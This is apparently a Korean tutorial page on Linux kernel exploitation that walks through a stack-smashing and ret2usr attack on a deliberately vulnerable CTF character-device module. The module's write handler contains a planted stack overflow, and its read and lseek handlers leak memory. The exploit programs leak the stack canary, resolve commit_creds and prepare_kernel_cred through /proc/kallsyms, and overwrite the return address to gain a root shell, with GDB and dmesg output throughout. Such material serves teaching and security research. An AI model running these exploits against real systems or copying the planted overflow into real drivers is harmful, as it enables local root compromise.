Excuse the ads! We need some help to keep our site up.
lazenca0x0@ubuntu:~$ uname -a Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ lsb_release -cs trusty lazenca0x0@ubuntu:~$ uname -r 4.4.0-31-generic lazenca0x0@ubuntu:~$ |
deb http://ddebs.ubuntu.com trusty main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-updates main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-proposed main restricted universe multiverse |
lazenca0x0@ubuntu:~$ sudo apt-get update lazenca0x0@ubuntu:~$ sudo apt-get install linux-image-4.4.0-31-generic-dbgsym Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: linux-image-4.4.0-31-generic-dbgsym 0 upgraded, 1 newly installed, 0 to remove and 451 not upgraded. Need to get 484 MB of archives. After this operation, 3,528 MB of additional disk space will be used. WARNING: The following packages cannot be authenticated! linux-image-4.4.0-31-generic-dbgsym Install these packages without verification? [y/N] y Get:1 http://ddebs.ubuntu.com/ trusty-updates/main linux-image-4.4.0-31-generic-dbgsym amd64 4.4.0-31.50~14.04.1 [484 MB] Fetched 484 MB in 59s (8,153 kB/s) Selecting previously unselected package linux-image-4.4.0-31-generic-dbgsym. (Reading database ... 169907 files and directories currently installed.) Preparing to unpack .../linux-image-4.4.0-31-generic-dbgsym_4.4.0-31.50~14.04.1_amd64.ddeb ... Unpacking linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ... Setting up linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ... lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ file /usr/lib/debug/boot/vmlinux-4.4.0-31-generic /usr/lib/debug/boot/vmlinux-4.4.0-31-generic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4bfbf23c1d18829e7b83920925a1dfba9edaa5b5, not stripped lazenca0x0@ubuntu:~$ |
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static loff_t chardev_lseek(struct file *, loff_t, int); struct file_operations chardev_fops = { .release = chardev_release, .read = chardev_read, .write = chardev_write, .llseek = chardev_lseek, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p",data); if (_copy_from_user(&data, buf, count) != 0) { return -EFAULT; } /* if (copy_from_user(&data, buf, count) != 0) { return -EFAULT; } if (__copy_from_user(&data, buf, count) != 0) { return -EFAULT; } */ printk("After calling the copy_from_user() function : %p",data); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_read() function has been called."); memset(data, 0, sizeof(data)); strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n"); printk("MSG : %s\n",data); printk("f_pos : %lld\n",*f_pos); if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) { return -EFAULT; } return count; } static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) { loff_t new_pos = 0; printk("The device_lseek() function has been called."); switch(orig) { case 0 : /*seek set*/ new_pos = offset; break; case 1 : /*seek cur*/ new_pos = file->f_pos + offset; break; case 2 : /*seek end*/ new_pos = BUFFER_SIZE - offset; break; } if(new_pos > BUFFER_SIZE) new_pos = BUFFER_SIZE; if(new_pos < 0) new_pos = 0; file->f_pos = new_pos; return new_pos; } module_init(chardev_init); module_exit(chardev_exit); |
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); read(fd, buf, TEXT_LEN); printf("%s", buf); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
Canary의 위치를 확인하기 위해 test(test.c)프로그램을 이용하며, 다음과 같이 Breakpointer를 설정합니다.
0xffffffffc01b5160 : chardev_read() 함수의 시작 주소
0xffffffffc01b527a : Canary 값을 rdx에 저장하기 전
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01b5160 Breakpoint 1 at 0xffffffffc01b5160 (gdb) c Continuing. Breakpoint 1, 0xffffffffc01b5160 in ?? () (gdb) x/80i $rip => 0xffffffffc01b5160: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01b5165: push rbp 0xffffffffc01b5166: mov rdi,0xffffffffc01b6128 0xffffffffc01b516d: mov rbp,rsp ... 0xffffffffc01b5197: call 0xffffffff81180972 <printk> ... 0xffffffffc01b5212: call 0xffffffff81180972 <printk> 0xffffffffc01b5217: mov rsi,QWORD PTR [r14] 0xffffffffc01b521a: mov rdi,0xffffffffc01b61be 0xffffffffc01b5221: xor eax,eax 0xffffffffc01b5223: call 0xffffffff81180972 <printk> 0xffffffffc01b5228: mov rdi,r12 ... 0xffffffffc01b527a: mov rdx,QWORD PTR [rbp-0x28] 0xffffffffc01b527e: xor rdx,QWORD PTR gs:0x28 0xffffffffc01b5287: jne 0xffffffffc01b5296 0xffffffffc01b5289: add rsp,0x48 0xffffffffc01b528d: pop rbx 0xffffffffc01b528e: pop r12 0xffffffffc01b5290: pop r13 0xffffffffc01b5292: pop r14 0xffffffffc01b5294: pop rbp 0xffffffffc01b5295: ret ... (gdb) b *0xffffffffc01b5212 Breakpoint 2 at 0xffffffffc01b5212 (gdb) b *0xffffffffc01b527a Breakpoint 3 at 0xffffffffc01b527a (gdb) c Continuing. |
다음과 같이 Canary가 저장된 메모리 주소를 확인할 수 있습니다.
data 변수의 시작 주소는 "0xffff88001c097e58" 이며, Canary가 저장되어 있는 메모리 영역의 주소는 "0xffff88001c097e98" 입니다.
Breakpoint 2, 0xffffffffc01b5212 in ?? () (gdb) i r rdi rdi 0xffffffffc01b61b5 -1071947339 (gdb) x/s 0xffffffffc01b61b5 0xffffffffc01b61b5: "MSG : %s" (gdb) i r rsi rsi 0xffff88001c097e58 -131940924948904 (gdb) x/s 0xffff88001c097e58 0xffff88001c097e58: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) c Continuing. Breakpoint 3, 0xffffffffc01b527a in ?? () (gdb) x/gx $rbp - 0x28 0xffff88001c097e98: 0x00000000771ba757 (gdb) si 0xffffffffc01b527e in ?? () (gdb) i r rdx rdx 0x771ba757 1998301015 (gdb) p/x 0xffff88001c097e98 - 0xffff88001c097e58 $1 = 0x40 (gdb) p/d 0xffff88001c097e98 - 0xffff88001c097e58 $2 = 64 (gdb) |
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "val"변수에 복사합니다.
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; char val[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
Breakpoint 3, 0xffffffffc01b527a in ?? () (gdb) x/gx $rbp - 0x28 0xffff88002c7a7e98: 0x000000007fc22694 (gdb) si 0xffffffffc01b527e in ?? () (gdb) i r rdx rdx 0x7fc22694 2143430292 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./leak 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 94 26 c2 7f 00 00 00 00 a0 1c 6c 00 00 00 00 00 | ?&??l canary is :94 26 c2 7f 00 00 00 00 lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ |
//gcc -static -o overflow overflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512]; size_t rop[512]; char val[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = 0x4444444444444444; //DDDDDDDD rop[k++] = 0x4545454545454545; //EEEEEEEE rop[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) b *0xffffffffc01c90d0 Breakpoint 4 at 0xffffffffc01c90d0 (gdb) c Continuing. |
다음과 같이 Stack Overflow를 확인하기 위해 다음과 같이 Breakpoint를 설정합니다.
0xffffffffc01c911c : _copy_from_user() 함수 호출 전
0xffffffffc01c9144 : chardev_write() 함수의 ret 명령어 실행 전
Breakpoint 4, 0xffffffffc01c90d0 in ?? () (gdb) x/40i $rip => 0xffffffffc01c90d0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01c90d5: push rbp ... 0xffffffffc01c911c: call 0xffffffff813e0a10 <_copy_from_user> 0xffffffffc01c9121: test rax,rax 0xffffffffc01c9124: je 0xffffffffc01c914a 0xffffffffc01c9126: mov rax,0xfffffffffffffff2 0xffffffffc01c912d: mov rcx,QWORD PTR [rbp-0x18] 0xffffffffc01c9131: xor rcx,QWORD PTR gs:0x28 0xffffffffc01c913a: jne 0xffffffffc01c9145 0xffffffffc01c913c: add rsp,0x48 0xffffffffc01c9140: pop rbx 0xffffffffc01c9141: pop r12 0xffffffffc01c9143: pop rbp 0xffffffffc01c9144: ret 0xffffffffc01c9145: call 0xffffffff8107d560 <__stack_chk_fail> 0xffffffffc01c914a: lea rsi,[rbp-0x58] 0xffffffffc01c914e: mov rdi,0xffffffffc01ca0f0 0xffffffffc01c9155: call 0xffffffff81180972 <printk> 0xffffffffc01c915a: mov rax,rbx 0xffffffffc01c915d: jmp 0xffffffffc01c912d 0xffffffffc01c915f: nop 0xffffffffc01c9160: nop DWORD PTR [rax+rax*1+0x0] (gdb) b *0xffffffffc01c911c Breakpoint 5 at 0xffffffffc01c911c (gdb) b *0xffffffffc01c9144 Breakpoint 6 at 0xffffffffc01c9144 (gdb) si 0xffffffffc01c90d5 in ?? () (gdb) i r rsp rsp 0xffff88001acdfec0 0xffff88001acdfec0 (gdb) x/gx 0xffff88001acdfec0 0xffff88001acdfec0: 0xffffffff811fd468 (gdb) c Continuing. |
Breakpoint 5, 0xffffffffc01c911c in ?? () (gdb) i r rdi rsi rdi 0xffff88001acdfe60 -131940945625504 rsi 0x6c1ea0 7085728 (gdb) x/20gx 0xffff88001acdfe60 0xffff88001acdfe60: 0xffffffffc01cb000 0xffffffffc01c90d0 0xffff88001acdfe70: 0xffff88001acdff20 0x0000000000000078 0xffff88001acdfe80: 0x00000000006c1ea0 0xffff88001f58c300 0xffff88001acdfe90: 0xffffffffffffff10 0xffffffffc01c90d5 0xffff88001acdfea0: 0x000000008032ebc6 0xffff88001f58c300 0xffff88001acdfeb0: 0x00000000006c1ea0 0xffff88001acdfec8 0xffff88001acdfec0: 0xffffffff811fd468 0xffff88001acdff08 0xffff88001acdfed0: 0xffffffff811fda82 0x0000000000000000 0xffff88001acdfee0: 0xffff88001f58c300 0xffff88001f58c300 0xffff88001acdfef0: 0x00000000006c1ea0 0x0000000000000078 (gdb) x/20gx 0x6c1ea0 0x6c1ea0: 0x4141414141414141 0x4141414141414141 0x6c1eb0: 0x4141414141414141 0x4141414141414141 0x6c1ec0: 0x4141414141414141 0x4141414141414141 0x6c1ed0: 0x4141414141414141 0x4141414141414141 0x6c1ee0: 0x000000008032ebc6 0x4141414141414141 0x6c1ef0: 0x4242424242424242 0x4343434343434343 0x6c1f00: 0x4444444444444444 0x4545454545454545 0x6c1f10: 0x4646464646464646 0x0000000000000000 0x6c1f20: 0x0000000000000000 0x0000000000000000 0x6c1f30: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 6, 0xffffffffc01c9144 in ?? () (gdb) x/20gx 0xffff88001acdfe60 0xffff88001acdfe60: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe70: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe80: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe90: 0x4141414141414141 0x4141414141414141 0xffff88001acdfea0: 0x000000008032ebc6 0x4141414141414141 0xffff88001acdfeb0: 0x4242424242424242 0x4343434343434343 0xffff88001acdfec0: 0x4444444444444444 0x4545454545454545 0xffff88001acdfed0: 0x4646464646464646 0x0000000000000000 0xffff88001acdfee0: 0xffff88001f58c300 0xffff88001f58c300 0xffff88001acdfef0: 0x00000000006c1ea0 0x0000000000000078 (gdb) i r rsp rsp 0xffff88001acdfec0 0xffff88001acdfec0 (gdb) x/gx 0xffff88001acdfec0 0xffff88001acdfec0: 0x4444444444444444 (gdb) c Continuing. |
ret2usr 기법을 이용한 Exploit의 순서는 다음과 같습니다.
|
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh"); |
|
권한 상승에 필요한 함수의 주소는 찾기 위해 사용되는 코드는 01.Stack smashing(32bit) & Return-to-user(ret2usr)-Findtheaddressofafunction에서 사용한 코드를 그대로 사용합니다.
//gcc -masm=intel -static -o address address.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512]; size_t rop[512]; char val[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = 0x4444444444444444; //DDDDDDDD rop[k++] = 0x4545454545454545; //EEEEEEEE rop[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
다음과 같이 권한 상승에 필요함 함수의 주소를 출력하는 것을 확인할 수 있습니다.
commit_creds() : 0xffffffff8109d760
prepare_kernel_cred() : 0xffffffff8109da40
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./address commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 67 06 51 56 00 00 00 00 a0 1c 6c 00 00 00 00 00 | gQV?l Segmentation fault lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ |
그런데 에러 메시지가 "Bad RIP value"가 아닌 "general protection fault: 0000 [#1] SMP" 라고 출력하는 것을 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ dmesg |tail -n 60 [ 1224.980459] The chardev_write() function has been called.Before calling the copy_from_user() function : ffff88001acdfe60 [ 1282.303683] INFO: rcu_sched detected stalls on CPUs/tasks: [ 1282.303688] (detected by 0, t=28468 jiffies, g=10537, c=10536, q=50) [ 1282.303812] All QSes seen, last rcu_sched kthread activity 28468 (4295212848-4295184380), jiffies_till_next_fqs=1, root ->qsmask 0x0 [ 1282.303813] test R running task 0 2937 2649 0x00000008 [ 1282.303816] ffffffff81c54780 ffff88003c603e00 ffffffff810a997f ffff88003c617a80 [ 1282.303817] ffffffff81c54780 ffff88003c603e68 ffffffff810e1f65 0000000000000000 [ 1282.303818] ffff88003c616d00 0000000000002929 0000000000002929 0000000000000000 [ 1282.303819] Call Trace: [ 1282.303820] <IRQ> [<ffffffff810a997f>] sched_show_task+0xaf/0x110 [ 1282.303828] [<ffffffff810e1f65>] rcu_check_callbacks+0x795/0x7a0 [ 1282.303867] [<ffffffff810f7360>] ? tick_sched_do_timer+0x30/0x30 [ 1282.303870] [<ffffffff810e7d39>] update_process_times+0x39/0x60 [ 1282.303871] [<ffffffff810f6d65>] tick_sched_handle.isra.15+0x25/0x60 [ 1282.303872] [<ffffffff810f739d>] tick_sched_timer+0x3d/0x70 [ 1282.303874] [<ffffffff810e8893>] __hrtimer_run_queues+0xf3/0x260 [ 1282.303875] [<ffffffff810e8d38>] hrtimer_interrupt+0xa8/0x1a0 [ 1282.303908] [<ffffffff81050cf5>] local_apic_timer_interrupt+0x35/0x60 [ 1282.303912] [<ffffffff817f99dd>] smp_apic_timer_interrupt+0x3d/0x50 [ 1282.303914] [<ffffffff817f7ca2>] apic_timer_interrupt+0x82/0x90 [ 1282.303914] <EOI> [<ffffffff813e0a10>] ? _copy_to_user+0x30/0x30 [ 1282.303921] [<ffffffffc01c9121>] ? chardev_write+0x51/0x90 [chardev] [ 1282.303922] [<ffffffffc01c90d0>] ? chardev_release+0x40/0x40 [chardev] [ 1282.303924] [<ffffffffc01c90d5>] ? chardev_write+0x5/0x90 [chardev] [ 1282.303926] [<ffffffff811fd468>] __vfs_write+0x18/0x40 [ 1282.303927] [<ffffffff811fda82>] vfs_write+0xa2/0x1a0 [ 1282.303928] [<ffffffff811fe7a6>] SyS_write+0x46/0xa0 [ 1282.303930] [<ffffffff817f6f36>] entry_SYSCALL_64_fastpath+0x16/0x75 [ 1282.303932] rcu_sched kthread starved for 28468 jiffies! g10537 c10536 f0x2 s3 ->state=0x0 [ 1282.304717] After calling the copy_from_user() function : ffff88001acdfe60 [ 1282.308510] general protection fault: 0000 [#1] SMP [ 1282.308516] Modules linked in: chardev(OE) hid_generic uvcvideo usbhid videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev hid media coretemp crct10dif_pclmul crc32_pclmul aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper vmw_balloon cryptd snd_ens1371 snd_ac97_codec btusb gameport ac97_bus snd_pcm btrtl joydev input_leds btbcm btintel serio_raw snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq snd_seq_device snd_timer snd soundcore nfit vmwgfx ttm drm_kms_helper drm 8250_fintek shpchp fb_sys_fops syscopyarea vmw_vmci sysfillrect i2c_piix4 sysimgblt mac_hid bnep rfcomm bluetooth parport_pc ppdev lp parport psmouse mptspi mptscsih mptbase ahci libahci e1000 scsi_transport_spi pata_acpi fjes [last unloaded: chardev] [ 1282.308540] CPU: 0 PID: 2937 Comm: test Tainted: G OEL 4.4.0-31-generic #50~14.04.1-Ubuntu [ 1282.308541] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015 [ 1282.308543] task: ffff88003578c4c0 ti: ffff88001acdc000 task.ti: ffff88001acdc000 [ 1282.308545] RIP: 0010:[<ffffffffc01c9144>] [<ffffffffc01c9144>] chardev_write+0x74/0x90 [chardev] [ 1282.308550] RSP: 0018:ffff88001acdfec0 EFLAGS: 00010282 [ 1282.308551] RAX: 0000000000000078 RBX: 4141414141414141 RCX: 0000000000000000 [ 1282.308552] RDX: 0000000000000001 RSI: 0000000000000246 RDI: 0000000000000246 [ 1282.308553] RBP: 4343434343434343 R08: 74636e7566202928 R09: 6666203a206e6f69 [ 1282.308554] R10: 3030383866666666 R11: 0000000000000747 R12: 4242424242424242 [ 1282.308555] R13: 0000000000000078 R14: ffff88001acdff20 R15: 0000000000000000 [ 1282.308556] FS: 0000000001d39880(0063) GS:ffff88003c600000(0000) knlGS:0000000000000000 [ 1282.308557] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1282.308558] CR2: 00007fce993a5000 CR3: 0000000036f4c000 CR4: 00000000000406f0 [ 1282.308563] Stack: [ 1282.308564] 4444444444444444 4545454545454545 4646464646464646 0000000000000000 [ 1282.308566] ffff88001f58c300 ffff88001f58c300 00000000006c1ea0 0000000000000078 [ 1282.308568] 0000000000000000 ffff88001acdff48 ffffffff811fe7a6 0000000000000044 [ 1282.308569] Call Trace: [ 1282.308574] [<ffffffff811fe7a6>] ? SyS_write+0x46/0xa0 [ 1282.308578] [<ffffffff817f6f36>] ? entry_SYSCALL_64_fastpath+0x16/0x75 [ 1282.308579] Code: 4c 89 e6 cc ef 78 21 c1 48 85 c0 74 24 48 c7 c0 f2 ff ff ff 48 8b 4d e8 65 48 33 0c 25 28 00 00 00 75 09 48 83 c4 48 5b 41 5c 5d <cc> e8 16 44 eb c0 48 8d 75 a8 48 c7 c7 f0 a0 1c c0 e8 18 78 fb [ 1282.308591] RIP [<ffffffffc01c9144>] chardev_write+0x74/0x90 [chardev] [ 1282.308593] RSP <ffff88001acdfec0> [ 1282.308595] ---[ end trace 4f146b46d6b496e5 ]--- [ 1282.324111] The chardev_release() function has been called. [ 1352.790654] audit: type=1400 audit(1549616174.548:65): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/cups/backend/cups-pdf" pid=3150 comm="apparmor_parser" [ 1352.790662] audit: type=1400 audit(1549616174.548:66): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser" [ 1352.790893] audit: type=1400 audit(1549616174.548:67): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser" lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ |
어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf 구조체에 저장하는 함수(prepare_tf)를 구현합니다.
RIP 영역에는 shell을 실행하는 함수의 주소를 저장합니다.
//gcc -masm=intel -static -o test test.c ... void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... //Exploit code int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0; rop[k++] = 0; rop[k++] = 0; rop[k++] = (size_t)payload; prepare_tf(); //Overflow write(fd, rop, 8*k++); ... |
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ cat /proc/kallsyms |grep chardev ffffffffc01a1000 t chardev_lseek [chardev] ffffffffc01a1090 t chardev_release [chardev] ffffffffc01a10d0 t chardev_write [chardev] ffffffffc01a1160 t chardev_read [chardev] ffffffffc01a12a0 t chardev_init [chardev] ffffffffc01a34a0 b chardev_cdev [chardev] ffffffffc01a3508 b chardev_major [chardev] ffffffffc01a3480 b __key.25747 [chardev] ffffffffc01a3480 b chardev_class [chardev] ffffffffc01a13e0 t chardev_exit [chardev] ffffffffc01a3100 d __this_module [chardev] ffffffffc01a3000 d chardev_fops [chardev] ffffffffc01a13e0 t cleanup_module [chardev] ffffffffc01a12a0 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ |
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01a10d0 Breakpoint 1 at 0xffffffffc01a10d0 (gdb) c Continuing. |
